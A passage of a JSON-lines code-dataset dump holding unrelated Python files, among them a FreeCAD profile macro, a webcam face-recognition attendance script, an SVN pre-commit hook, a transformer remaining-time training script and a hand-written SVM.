Vec(H/2+w,H/2+h,0)\r\n A1 = Part.makeCircle(H/2,c,d,0,360) \r\n A2 = Part.makeCircle((H-TW)/2,c,d,0,360) \r\n wire1 = Part.Wire([A1])\r\n wire2 = Part.Wire([A2])\r\n if TW:\r\n p1 = Part.Face(wire1)\r\n p2 = Part.Face(wire2) \r\n p = p1.cut(p2)\r\n else:\r\n p = Part.Face(wire1)\r\n \r\n if L: \r\n ProfileFull = p.extrude(Vec(0,0,L))\r\n obj.Shape = ProfileFull\r\n \r\n if B1Y or B2Y or B1X or B2X or B1Z or B2Z: # make the bevels: \r\n \r\n hc = 10 * max (H,W) \r\n \r\n ProfileExt = ProfileFull.fuse(p.extrude(Vec(0,0,L+hc/4)))\r\n box = Part.makeBox(hc,hc,hc)\r\n box.translate (Vec(-hc/2+w,-hc/2+h,L))\r\n pr = Vec(0,0,L)\r\n box.rotate(pr,Vec(0,1,0),B2Y)\r\n if self.BevelCombined == True: box.rotate(pr,Vec(0,0,1),B2Z)\r\n else: box.rotate(pr,Vec(1,0,0),B2X)\r\n ProfileCut = ProfileExt.cut(box)\r\n \r\n ProfileExt = ProfileCut.fuse(p.extrude(Vec(0,0,-hc/4)))\r\n box = Part.makeBox(hc,hc,hc)\r\n box.translate (Vec(-hc/2+w,-hc/2+h,-hc))\r\n pr = Vec(0,0,0)\r\n box.rotate(pr,Vec(0,1,0),B1Y)\r\n if self.BevelCombined == True: box.rotate(pr,Vec(0,0,1),B1Z)\r\n else: box.rotate(pr,Vec(1,0,0),B1X)\r\n ProfileCut = ProfileExt.cut(box)\r\n \r\n obj.Shape = ProfileCut.removeSplitter() \r\n \r\n # if wire2: obj.Shape = Part.Compound([wire1,wire2]) # OCC Sweep doesn't be able hollow shape yet :-(\r\n\r\n else:\r\n obj.Shape = Part.Face(wire1)\r\n obj.Placement = pl\r\n obj.positionBySupport()\r\n\r\n \r\ndef recherche_fams():\r\n #Scan le fichier complet pour trouver les familles\r\n #Renvoie une liste contenant les noms\r\n tab =[]\r\n pos = 0 \r\n with open(path, \"r\") as file:\r\n while pos < file_len:\r\n while True:\r\n car = file.read(1)\r\n if car == \"*\" or not car: break\r\n # print (pos)\r\n ligne = file.readline() #famille trouvée\r\n \r\n txt = ligne[:len(ligne)-1] \r\n if txt: tab.append(txt)\r\n ligne = file.readline()\r\n ligne = file.readline()\r\n ligne = file.readline()\r\n pos = file.tell()\r\n txt =\"\"\r\n return tab \r\n\r\ndef trouve_txt(pos,txt):\r\n #Trouve un str à partir de pos\r\n #Renvoie la nouvelle position\r\n with open(path, \"r\") as file:\r\n file.seek(pos)\r\n while True:\r\n ligne = file.readline()\r\n if ligne.find(txt) !=-1 : break\r\n pos_line = file.tell() - len(ligne) \r\n pos_found = pos_line + ligne.find(txt)\r\n return pos_found\r\n\r\ndef extrait_data(fam,size):\r\n #Extrait toutes les données pour une dimension d'une famille\r\n #Retour une liste:\r\n #Famille/Size/Donnée1/Donnée2...\r\n tab=[]\r\n tab.append(fam)\r\n tab.append(size)\r\n posfam = trouve_txt(0,fam)\r\n possize = trouve_txt(posfam,size)\r\n car=str=\"\"\r\n \r\n with open(path, \"r\") as file: \r\n file.seek (possize+len(size))\r\n while True: \r\n while True:\r\n car = file.read(1)\r\n if car == \"\\t\" or car == \"\\n\": break\r\n str += car\r\n if str: tab.append(str)\r\n str=\"\" \r\n if car == \"\\n\": break\r\n # print(tab)\r\n return tab \r\n\r\ndef recherche_ind(fam,type):\r\n # Recherche l'indice de la donnée dans la famille\r\n pos1 = trouve_txt(0,fam)\r\n pos2 = trouve_txt(pos1+1,\"*\")\r\n pos3 = trouve_txt(pos2+1,\"*\")\r\n pos4 = trouve_txt(pos3+1,\"*\")\r\n typ = []\r\n \r\n with open(path, \"r\") as file: \r\n file.seek(pos4)\r\n ligne = file.readline().rstrip()\r\n typ = ligne.split(\"/\")\r\n ind = typ.index(type)+1\r\n return ind\r\n\r\ndef recherche_dims(fam):\r\n #Recherche de toutes les dimensions d'une famille\r\n #Et retourne une liste les contenant\r\n\r\n pos1 = trouve_txt(0,fam)\r\n pos2 = trouve_txt(pos1+1,\"*\")\r\n pos3 = trouve_txt(pos2+1,\"*\")\r\n pos4 = trouve_txt(pos3+1,\"*\")\r\n tab = []\r\n str = \"\" \r\n with open(path, \"r\") as file:\r\n file.seek(pos4)\r\n ligne = file.readline()\r\n car = file.read(1)\r\n while car !=\"\\n\" and car !=\"\":\r\n while car != \"\\t\":\r\n str += car\r\n car = file.read(1)\r\n if str: tab.append(str)\r\n str=\"\" \r\n ligne = file.readline()\r\n car = file.read(1)\r\n # tab.sort()\r\n # print (tab)\r\n return tab\r\n \r\n \r\n\r\n# get the path of the current python script\r\nfile = \"Profiles.txt\" \r\nmacro_path = os.path.realpath(__file__)\r\npath = os.path.realpath(__file__) \r\npath = os.path.dirname(path) \r\npath = os.path.join(path,file) \r\nfile_len = os.stat(path).st_size\r\nprint (\"file: \",file_len) \r\n\r\ndoc = FreeCAD.activeDocument()\r\nif doc == None: doc = FreeCAD.newDocument()\r\n\r\nform = Box()\r\nform.show()\r\nform.exec_()\r\n\r\n\r\n\r\n\r\n","sub_path":"WarehouseProfiles.py","file_name":"WarehouseProfiles.py","file_ext":"py","file_size_in_byte":48116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"139326112","text":"import datetime\nstart=datetime.datetime.now()\nimport numpy as np\nfrom PIL import Image\nfrom mtcnn.mtcnn import MTCNN\nfrom keras.models import load_model\nimport pickle\nimport cv2\nimport numpy as np\nfrom os import listdir \nfrom os.path import isfile, join\nimport csv\nfrom facenet.makecsv import record_data\nuser='newuser'\nfrom gtts import gTTS \nimport os\n\n\ndef main_test():\n name_list= []\n \n \n\n\n def extract_face(filename, required_size=(160, 160)):\n # load image from file\n image = Image.open(filename)\n # convert to RGB, if needed\n image = image.convert('RGB')\n # convert to array\n pixels = np.asarray(image)\n # create the detector, using default weights\n detector = MTCNN()\n # detect faces in the image\n results = detector.detect_faces(pixels)\n # extract the bounding box from the first face\n x1, y1, width, height = results[0]['box']\n # deal with negative pixel index\n x1, y1 = abs(x1), abs(y1)\n x2, y2 = x1 + width, y1 + height\n # extract the face\n face = pixels[y1:y2, x1:x2]\n # resize pixels to the model size\n image = Image.fromarray(face)\n image = image.resize(required_size)\n face_array = np.asarray(image)\n return face_array\n \n def get_embedding(model, face):\n # scale pixel values\n face = face.astype('float32')\n # standardization\n mean, std = face.mean(), face.std()\n face = (face-mean)/std\n # transfer face into one sample (3 dimension to 4 dimension)\n sample = np.expand_dims(face, axis=0)\n # make prediction to get embedding\n yhat = model.predict(sample)\n return yhat[0]\n \n \n facenet_model = load_model('D:\\\\FR\\\\facenet\\\\facenet_keras.h5')\n \n with open(\"D:\\\\FR\\\\facenet\\\\pickle_model.pkl\", 'rb') as file:\n model = pickle.load(file)\n #----------------------------------------------------------\n model2 =cv2.face.LBPHFaceRecognizer_create()\n model2.read(\"D:\\\\FR\\\\facenet\\\\detection.xml\")\n #------------------------------------------------------------\n \n with open(\"D:\\\\FR\\\\facenet\\\\pickle_outcoder.pkl\", 'rb') as file:\n out_encoder = pickle.load(file)\n \n #_--------------------------------------------------------------------\n \n face_classifier = cv2.CascadeClassifier('D:\\\\FR\\\\facenet\\\\haarcascade_frontalface_default.xml')\n \n \n def face_detector(img, size = 0.5):\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2BGRA)\n faces = face_classifier.detectMultiScale(gray,1.3,5)\n \n if faces is():\n return img,[]\n \n for(x,y,w,h) in faces:\n cv2.rectangle(img, (x,y),(x+w,y+h),(0,255,255),2)\n roi = img[y:y+h, x:x+w]\n roi = cv2.resize(roi, (200,200))\n \n return img,roi\n \n list_attendance=[]\n \n cap = cv2.VideoCapture(0)\n while True:\n \n ret, frame = cap.read()\n \n image, face = face_detector(frame)\n \n try:\n face = cv2.cvtColor(face, cv2.COLOR_BGR2GRAY)\n result = model2.predict(face)\n \n if result[1] < 500:\n confidence = int(100*(1-(result[1])/300))\n display_string = str(confidence)+'%Confidence he is user'\n cv2.putText(image,display_string,(100,120),cv2.FONT_HERSHEY_COMPLEX,1,(250,120,255),2)\n \n if confidence > 75:\n # cv2.imshow('Face Cropper', image)\n file_test_path = 'D:\\\\FR\\\\facenet\\\\test_pic\\\\'+str(user)+'.jpg';\n cv2.imwrite(file_test_path,image)\n # select a random face from test set\n test_pic = extract_face(file_test_path)\n example_face_emd = get_embedding(facenet_model, test_pic)\n \n # prediction for the face\n face_predict = np.expand_dims(example_face_emd, axis=0)\n yhat_class = model.predict(face_predict)\n yhat_prob = model.predict_proba(face_predict)\n \n # get name\n class_index = yhat_class[0]\n class_probability = yhat_prob[0,class_index] * 100\n predict_names = out_encoder.inverse_transform(yhat_class)\n all_names = out_encoder.inverse_transform(list(range(len(yhat_prob.reshape((yhat_prob.T.shape))))))\n \n #print('Predicted: %s (%.3f)' % (predict_names[0], class_probability))\n \n \n if class_probability>=99.99:\n names=predict_names[0]\n if names not in name_list:\n name_list.append(names)\n text =names\n language = 'en'\n speech = gTTS(text = text, lang = language, slow = False)\n speech.save('text.mp3')\n os.system(\"start text.mp3\")\n record_data([names])\n \n \n else:\n names='unknows'\n \n print('Predicted: \\n%s \\n%s' % (names, class_probability))\n \n# list_attendance.append(names)\n \n \n cv2.putText(image,str(names), (250, 450), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 255, 0), 2)\n cv2.imshow('Face Cropper', image)\n end=datetime.datetime.now() \n \n \n else:\n cv2.putText(image, \"Incorrect\", (250, 450), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 255), 2)\n cv2.imshow('Face Cropper', image)\n \n \n \n except:\n cv2.putText(image,\"Face Not Found\",(250, 450),cv2.FONT_HERSHEY_COMPLEX,1,(255, 0, 0), 2)\n cv2.imshow('Face Cropper', image)\n pass\n if cv2.waitKey(1)==13:\n break\n \n \n\n cap.release()\n cv2.destroyAllWindows()\n\n # list_attendance=list(set(list_attendance))\n\n #pkl_filenames = \"list_attendance1.pkl\"\n #with open(pkl_filenames, 'wb') as file:\n # pickle.dump(list_attendance, file)4444\n \n\n\n#test_part3=main_test\n\n#pkl_file = \"D:\\\\FR\\\\facenet\\\\test_part3.pkl\"\n#with open(pkl_file, 'wb') as file:\n # pickle.dump(test_part3, file)\n \n\n \n #test_pic = extract_face(\"test_photo/test2.jpg\")\n #example_face_emd = get_embedding(facenet_model, test_pic)\n \n # prediction for the face\n #face_predict = np.expand_dims(example_face_emd, axis=0)\n #yhat_class = model.predict(face_predict)444444\n #yhat_prob = model.predict_proba(face_predict)\n \n # get name\n #class_index = yhat_class[0]\n #class_probability = yhat_prob[0,class_index] * 100\n #predict_names = out_encoder.inverse_transform(yhat_class)\n #print('Predicted: %s (%.3f)' % (predict_names[0], class_probability))\n \n #end=datetime.datetime.now()\n #all_names = out_encoder.inverse_transform([0,1,2,3])\n \n #print('Predicted: %s (%.3f)' % (predict_names[0], class_probability))\n #print('Predicted: \\n%s \\n%s' % (all_names, yhat_prob[0]*100))\n \n \n","sub_path":"facenet/part3.py","file_name":"part3.py","file_ext":"py","file_size_in_byte":7318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"173038432","text":"class Node:\n def __init__(self, name):\n self.name = name\n self.left = []\n self.right = []\n\na = 'a'\nb = 'b'\nc = 'c'\nd = 'd'\ne = 'e'\nf = 'f'\ng = 'g'\nm = 'm'\ndef find_node(nodes, target):\n for _ in nodes:\n if _.name == target:\n return _\n \ndef main(projects = [a,b,c,d,e,f,g],\n dependencies = [(b, d), (f, g), (d, c), (a, d), (f, a), (f, b)]):\n \n projects = set(projects)\n\n nodes = [Node(name=_) for _ in projects]\n needs = []\n for k,v in dependencies:\n needs.append(k)\n needs.append(v)\n\n needs = set(needs)\n \n for _ in nodes:\n for k,v in dependencies:\n if _.name == k:\n _.left.append(find_node(nodes, v))\n\n parent = find_node(nodes, 'f')\n parent = nodes.pop(nodes.index(parent))\n nodes = [parent] + nodes\n\n build_order = [parent.name]\n for node in nodes:\n if node.left:\n while node.left:\n p = node.left.pop()\n if p.name not in build_order:\n build_order.append(p.name)\n \n for p in projects:\n if p not in build_order:\n build_order.append(p)\n \n assert(set(projects)==set(build_order)), 'Dependencies not included'\n\n return build_order\n\n\nif __name__ == '__main__':\n print(main())","sub_path":"Bonus Task 1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"578529468","text":"class Infdent():\n def __init__(self,spaces=4,indent=False):\n self.tab = \"\".join([\" \" for x in range(spaces)])\n self.tabs = 0\n self.indent = indent\n\n @property\n def gettabs(self):\n return \"\".join([self.tab for x in range(self.tabs)])\n\n def __call__(self,*strings,end=\"\\n\",indent=None):\n if indent is None:\n indent = self.indent\n for string in strings:\n if string is None:\n self.rset\n continue\n if \"\\n\" in string:\n string = string.split(\"\\n\")\n\n if isinstance(string,list):\n for line in string:\n print(self.gettabs + line,end=end)\n if indent:\n self.tabs += 1\n elif isinstance(string,tuple):\n for line in string:\n print(self.gettabs + line,end=end)\n if indent:\n self.tabs += 1\n elif isinstance(string,str):\n print(self.gettabs + string,end=end)\n if indent:\n self.tabs += 1\n else:\n print(self.gettabs + string,end=end)\n if indent:\n self.tabs += 1\n if not indent:\n self.tabs += 1\n\n @property\n def rset(self):\n self.tabs = 0\n\n def set(self,tabs):\n self.tabs = tabs\n\nif __name__ == \"__main__\":\n tabs = Infdent()\n\n tabs(\"Hello\",\"Hello\",None)\n tabs(\"Hello\",\"Hello\")\n\n tabs.rset\n tabs([\"Hey\",\"Hi\",\"Hello\"],indent=True)\n tabs((\"Hey\",\"Hi\",\"Hello\"))\n\n tabs.rset\n tabs(\"Hello\\nHey\")","sub_path":"infdent/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"261739974","text":"\n\nfrom xai.brain.wordbase.nouns._slander import _SLANDER\n\n#calss header\nclass _SLANDERED(_SLANDER, ):\n\tdef __init__(self,): \n\t\t_SLANDER.__init__(self)\n\t\tself.name = \"SLANDERED\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"slander\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_slandered.py","file_name":"_slandered.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"318445658","text":"import os\nos.environ[\"TF_CPP_MIN_LOG_LEVEL\"] = \"3\"\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n\nimport argparse\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom sklearn import metrics \n\nfrom processtransformer import constants\nfrom processtransformer.data import loader\nfrom processtransformer.models import transformer\n\nparser = argparse.ArgumentParser(description=\"Process Transformer - Remaining Time Prediction.\")\n\nparser.add_argument(\"--dataset\", required=True, type=str, help=\"dataset name\")\n\nparser.add_argument(\"--model_dir\", default=\"./models\", type=str, help=\"model directory\")\n\nparser.add_argument(\"--result_dir\", default=\"./results\", type=str, help=\"results directory\")\n\nparser.add_argument(\"--task\", type=constants.Task, \n default=constants.Task.REMAINING_TIME, help=\"task name\")\n\nparser.add_argument(\"--epochs\", default=10, type=int, help=\"number of total epochs\")\n\nparser.add_argument(\"--batch_size\", default=12, type=int, help=\"batch size\")\n\nparser.add_argument(\"--learning_rate\", default=0.001, type=float,\n help=\"learning rate\")\n\nparser.add_argument(\"--gpu\", default=0, type=int, \n help=\"gpu id\")\n\nargs = parser.parse_args()\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = str(args.gpu)\n\nif __name__ == \"__main__\":\n # Create directories to save the results and models\n model_path = f\"{args.model_dir}/{args.dataset}\"\n if not os.path.exists(model_path):\n os.makedirs(model_path)\n model_path = f\"{model_path}/remaining_time_ckpt\"\n\n result_path = f\"{args.result_dir}/{args.dataset}\"\n if not os.path.exists(result_path):\n os.makedirs(result_path)\n result_path = f\"{result_path}/results\"\n\n # Load data\n data_loader = loader.LogsDataLoader(name = args.dataset)\n\n (train_df, test_df, x_word_dict, y_word_dict, max_case_length, \n vocab_size, num_output) = data_loader.load_data(args.task)\n\n # Prepare training examples for next time prediction task\n (train_token_x, train_time_x, \n train_token_y, time_scaler, y_scaler) = data_loader.prepare_data_remaining_time(train_df, \n x_word_dict, max_case_length)\n \n # Create and train a transformer model\n transformer_model = transformer.get_remaining_time_model(\n max_case_length=max_case_length, \n vocab_size=vocab_size)\n\n transformer_model.compile(optimizer=tf.keras.optimizers.Adam(args.learning_rate),\n loss=tf.keras.losses.LogCosh())\n\n model_checkpoint_callback = tf.keras.callbacks.ModelCheckpoint(\n filepath=model_path,\n save_weights_only=True,\n monitor=\"loss\", save_best_only=True)\n\n transformer_model.fit([train_token_x, train_time_x], train_token_y, \n epochs=args.epochs, batch_size=args.batch_size, \n verbose=2, callbacks=[model_checkpoint_callback]) #shuffle=True, \n\n # Evaluate over all the prefixes (k) and save the results\n k, maes, mses, rmses = [],[],[],[]\n for i in range(max_case_length):\n test_data_subset = test_df[test_df[\"k\"]==i]\n if len(test_data_subset) > 0:\n test_token_x, test_time_x, test_y, _, _ = data_loader.prepare_data_remaining_time(\n test_data_subset, x_word_dict, max_case_length, time_scaler, y_scaler, False) \n\n y_pred = transformer_model.predict([test_token_x, test_time_x])\n _test_y = y_scaler.inverse_transform(test_y)\n _y_pred = y_scaler.inverse_transform(y_pred)\n\n k.append(i)\n maes.append(metrics.mean_absolute_error(_test_y, _y_pred))\n mses.append(metrics.mean_squared_error(_test_y, _y_pred))\n rmses.append(np.sqrt(metrics.mean_squared_error(_test_y, _y_pred)))\n\n k.append(i + 1)\n maes.append(np.mean(maes))\n mses.append(np.mean(mses))\n rmses.append(np.mean(rmses))\n print('Average MAE across all prefixes:', np.mean(maes))\n print('Average MSE across all prefixes:', np.mean(mses))\n print('Average RMSE across all prefixes:', np.mean(rmses)) \n results_df = pd.DataFrame({\"k\":k, \"mean_absolute_error\":maes, \n \"mean_squared_error\":mses, \n \"root_mean_squared_error\":rmses})\n results_df.to_csv(result_path+\"_remaining_time.csv\", index=False)","sub_path":"remaining_time.py","file_name":"remaining_time.py","file_ext":"py","file_size_in_byte":4253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"293242802","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n# @package polarion\n# @brief svn pre-commit hook\n#\n# @version $Revision: 510 $\n# @author Wolfgang Wendl\n# @note (c) Kapsch TrafficCom\n# @note $Date: 2014-05-22 13:04:50 +0200 (Thu, 22 May 2014) $\n# @note $URL: http://localhost/svn/repo1/trunk/Python/svnhook/svnhook.py $\n#\n#\n# This hook is tested in repo6\n#\nimport sys\nimport subprocess\n\n### definitions\nSVNLOOK='/usr/bin/svnlook'\n\ndef main(repos, txn):\n\n log_cmd_tag = '%s author -t %s --copy-info %s' % (SVNLOOK, txn, repos)\n p_tag = subprocess.Popen(log_cmd_tag,\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdin=subprocess.PIPE)\n p_tag.stderr.close()\n p_tag.stdin.close()\n with open(\"/svn/repositories/Common_KDN/dav/activities.d/log.log\",\"a\") as f:\n f.write(p_tag)\n if (p_tag.stdout.read().rstrip() == \"scm\"): sys.exit(0)\n \n\n log_cmd_tag = '%s changed -t %s --copy-info %s' % (SVNLOOK, txn, repos)\n p_tag = subprocess.Popen(log_cmd_tag,\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdin=subprocess.PIPE)\n p_tag.stderr.close()\n p_tag.stdin.close()\n log_msg_tag = p_tag.stdout.read().rstrip()\n \n\n sys.exit(status)\n \nif __name__ == '__main__':\n if len(sys.argv) < 3:\n sys.stderr.write(\"Usage: %s REPOS TXN\\n\" % (sys.argv[0]))\n else:\n main(sys.argv[1], sys.argv[2])\n\n","sub_path":"Python/svnhook/svnhook.py","file_name":"svnhook.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"553510954","text":"import logging\nimport os\nimport sys\n\nfrom .lib import BockCore\nfrom flask import Flask\nfrom git import InvalidGitRepositoryError, NoSuchPathError\n\nlogger = logging.getLogger(__name__)\n\n\ndef create_wiki(articles_path=None, debug=False):\n app = Flask(__name__)\n app.debug = debug\n\n app.config['articles_path'] = articles_path if articles_path \\\n else os.path.abspath(os.path.curdir)\n\n try:\n app.config['bock_core'] = BockCore(\n articles_path=app.config['articles_path']\n )\n except InvalidGitRepositoryError:\n logger.error('{} is not a git repository'.format(\n app.config['articles_path'])\n )\n sys.exit(1)\n except NoSuchPathError:\n logger.error('{} is not a valid filesystem path'.format(\n app.config['articles_path'])\n )\n sys.exit(1)\n else:\n logger.info('Set article path to {}'.format(\n app.config['articles_path'])\n )\n\n app.config['github_key'] = os.getenv('BOCK_GITHUB_KEY', 'XXX')\n logger.info('Set Github key to {}'.format(app.config['github_key']))\n\n # Register API and UI blueprints\n from .api import api_blueprint\n app.register_blueprint(api_blueprint, url_prefix='/api')\n\n from .ui import ui_blueprint\n app.register_blueprint(ui_blueprint)\n\n return app\n","sub_path":"bock/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"223423368","text":"#!/usr/bin/env python\nimport os\nimport shutil\nimport subprocess\n\nuxasPath = '../../../../build/uxas'\nargs = [\"-cfgPath\", \"../cfg_CommRelayTask.xml\"]\n\nrunFolder = \"RUNDIR_CommRelayTask\"\n\ncurrentDir = os.path.dirname(os.path.realpath(__file__))\ncurrentDir = os.getcwd()\nrunPath = os.path.join(currentDir,runFolder)\n\nif(os.path.isdir(runPath)):\n\tshutil.rmtree(runPath)\n\nos.mkdir(runPath)\nos.chdir(runPath)\nsubprocess.call([uxasPath] + args)\n","sub_path":"examples/99_Tasks/CommRelayTask/runUxAS_CommRelayTask.py","file_name":"runUxAS_CommRelayTask.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"538854265","text":"import math\nimport random\nK_matrix = []\nomegaTx = [] \nX = []\ny = []\na = []\nb = 0\nn = 0\nC = 1 #constant, weight for loss function. KKT boundary.\nTOL = 0.0001 #tolerance. \nrho = 100 #kernel width \nepsilon = pow(10,-3)\t\t\t #KKT condition is fulfilled within epsilon.\ndef class_results():\n global omegaTx\n results = []\n for term in omegaTx:\n f = term - b\n results.append(f)\n return results\n\ndef dot_product(x1,x2):\n if len(x1) == len(x2):\n dot = 0\n for i in range(0,len(x1)):\n dot+=x1[i]*x2[i]\n return dot\n else:\n \"There's an error when doing dot product of: \"+ x1 +\" and \"+ x2\n\ndef vector_e_add(x1,x2):\n if len(x1) == len(x2):\n result = [0]*len(x1)\n for i in range(0,len(result)):\n result=x1[i]+x2[i]\n return result\n else:\n \"There's an error when doing dot product of: \"+x1+\" and \"+x2\t\n\ndef vector_enlarge(x,m):\n for i in range(0,len(x)):\n x[i] = x[i] * m\n return x\n\t\ndef kernel(x1,x2):\n global rho\n norm_square = dot_product(x1,x1) - 2*dot_product(x1,x2) + dot_product(x2,x2)\n return math.exp(-0.5 * norm_square/pow(rho,2))\n\n# def hyperplane():\n\n#Storing a Kernel matrix lookup table for fast future access.\n#n: how many data examples are there.\ndef create_K_matrix(n):\n global K_matrix\n K_matrix = [[1]*n]*n\n for i in range(0,n):\n for j in range(0,n):\n K_matrix[i][j] = kernel(X[i],X[j])\n#n: how many data examples are there.\ndef update_omegaTx(n):\n global omegaTx\n omegaTx = [0]*n \n for k in range(0,n):\n for i in range(0,n):\n omegaTx[k] = omegaTx[k] + a[i] * y[i] * K_matrix[i][k]\ndef init_alphas(n):\n global a\n global C\n for i in range(0,n):\n a.append(random.random()*C) #alpha's #random initialization of a, a in [0,C]\ndef update_W(n):\n tempSum = 0\n W = 0\n for i in range(0,n):\n for j in range(0,n):\n tempSum= tempSum + y[i]*y[j]*a[i]*a[j]*K_matrix[i][j]\n W= W + a[i]\n W = W - 0.5 * tempSum\n return W\n \ndef svm_main(data_zero, data_one):\n global K_matrix\n global omegaTx\n global epsilon\n global X\n global y\n global a\n global b\n global C\n global TOL\n X = data_zero + data_one\n X_dim = len(X[0])\n n = len(X) #length of data.\n y = [-1]*len(data_zero)+[1]*len(data_one)\n #W is the objective function\n #initializations.\n init_alphas(n)\n create_K_matrix(n)\n update_omegaTx(n)\n Wold = update_W(n)\n\t\n #Selections of a's and b's\n #------------------------------------------------------------\n while True:\n print(y)\n n1 = 0 #indices for the two locations.\n #n1 is chosen to be the first to violate the KKT condition.\n #using the first heuristic to choose a1.\n while n1 < n:\n f = omegaTx[n1] - b\n if (y[n1]*f < 1+epsilon and y[n1]*f > 1-epsilon) and a[n1] >= C and a[n1]<= 0:\n print(str(a[n1]) + ' breaks constraint 1 index: ' + str(n1))\n break\n if y[n1]*f > 1 and (a[n1]< -epsilon or a[n1] > epsilon):\n print(str(a[n1]) + ' breaks constraint 2 index: ' + str(n1))\n break\n if y[n1]*f < 1 and (a[n1] < C-epsilon or a[n1] > C+epsilon):\n print(str(a[n1]) + ' breaks constraint 3 index: ' + str(n1))\n break\n n1 = n1 + 1\n #n2 is chosen by having the maximum |E1 - E2|\n E1 = 0\n E2 = 0\n maxDiff = 0\t #maximum |E1 - E2|\n E1 = omegaTx[n1] - b - y[n1]\t #Error of choosing n1.\n for i in range(0,n):\n tempError = omegaTx[i] - b - y[i]\n if abs(E1 - tempError) > maxDiff:\n maxDiff = abs(E1 - tempError)\n n2 = i\n E2 = tempError\n #updates\n a1old = a[n1]\n a2old = a[n2]\n #a2 must satisfy the constraints.\n S = y[n1] * y[n2]\n if S == -1:\n L = max(0,a2old - a1old)\n H = min(C,C - a1old + a2old)\n else:\n L = max(0,a1old + a2old - C)\n H = min(C,a1old + a2old)\n #calculate new a2\n eta = 2*K_matrix[n1][n2] - K_matrix[n1][n1] - K_matrix[n2][n2]\n a2new = a2old - y[n2] *(E1 - E2) / eta\n if a2new > H:\n a2new = H\n if a2new < L:\n a2new = L\n #calculate new a1\n a1new = a1old + S * (a2old - a2new)\t \n\t#calculating b1, b2\n print('old b ---> '+str(b))\n b1 = E1 + y[n1]*(a1new - a1old)*K_matrix[n1][n1] + y[n2]*(a2new - a2old)*K_matrix[n1][n2] + b\n print('b1 ---> '+str(b1))\n b2 = E2 + y[n1]*(a1new - a1old)*K_matrix[n1][n2] + y[n2]*(a2new - a2old)*K_matrix[n2][n2] + b\n print('b2 ---> '+str(b2))\n print('f1 ---> '+str(omegaTx[n1] - b))\n print('f2 ---> '+str(omegaTx[n2] - b))\n #updating a\n a[n1] = a1new\n a[n2] = a2new\n\t#updating b:\n b = (b1 + b2)/2\n print('new b ---> '+str(b))\n #some updates\n\t#can optimize.\n update_omegaTx(n)\n Wnew = update_W(n) #W(a) after updating a.\n \n #loop exit condition: when the Dual Problem has reached a maximum objective function value.\n print('----------------------------------------------------')\n #print(class_results())\n if abs(Wnew/Wold - 1 ) <= TOL:\n break\n #------------------------------------------------------------ \n #result: original classification, \n #------------------------------------------------------------\n for i in range(0,n):\n f = omegaTx[i] - b\n print('point ',i+1)\n if i < len(data_zero):\n print('-1')\n else:\n print(' 1')\n print(' classification function value%f classification result:',f)\n if abs(f - 1) < 0.5:\n print('1\\n')\n elif abs(f + 1) < 0.5:\n print('-1\\n')\n else:\n print('classification error\\n')\n \n #return hyperplane()\n\n#main\ndata_pos=[]\ndata_neg=[]\nfor i in range(0,5):\n data_pos += [[100 + random.random()*5,100 + random.random()*5]]\nfor i in range(0,5):\n data_neg = [[300 + random.random()*5,300 + random.random()*5]] * 5\nsvm_main(data_pos, data_neg)\n","sub_path":"cse 415/svm_py/svm_it.py","file_name":"svm_it.py","file_ext":"py","file_size_in_byte":6585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"586081135","text":"def decimalToBinary(value):\n if value == 0:\n return '0'\n\n is_negative = (value < 0)\n if is_negative:\n value = -value\n\n bin_num = ''\n while value != 0:\n bin_num = str(value % 2) + bin_num\n value = value // 2\n\n if is_negative:\n bin_num = '-' + bin_num\n\n return bin_num\n\ndef main():\n dec_num = eval(input(\"Enter an integer: \"))\n print(\"binary representaion: \", decimalToBinary(dec_num))\n\nmain()","sub_path":"PythonProgramming/cp08/프로그래밍 연습문제(cp08)/8.10.py","file_name":"8.10.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"128918386","text":"# Generalized Cross Validation for TV regularization\n# See: Stickel (2011), Appendix A; Lubansky+ (2006)\n\nimport numbers\n\n# third-party libs\nimport numpy as np\nfrom scipy.optimize import minimize\n\n\ndef smooth(x, y, λs=None, d=2):\n\n x = np.asanyarray(x)\n\n if λs is None:\n yhat, λopt = smooth_optimal(x, y, d)\n return yhat\n elif isinstance(λs, numbers.Real):\n return _smooth(x, y, λs, d)\n\n raise ValueError('Invalid smoothing parameter %s' % λs)\n\n\n\n\ndef _smooth(x, y, λs, d=2):\n # todo: mapping matrix (interpolation); weights\n\n n = len(y)\n D_ = D(x, d)\n # scale smoothing parameter\n 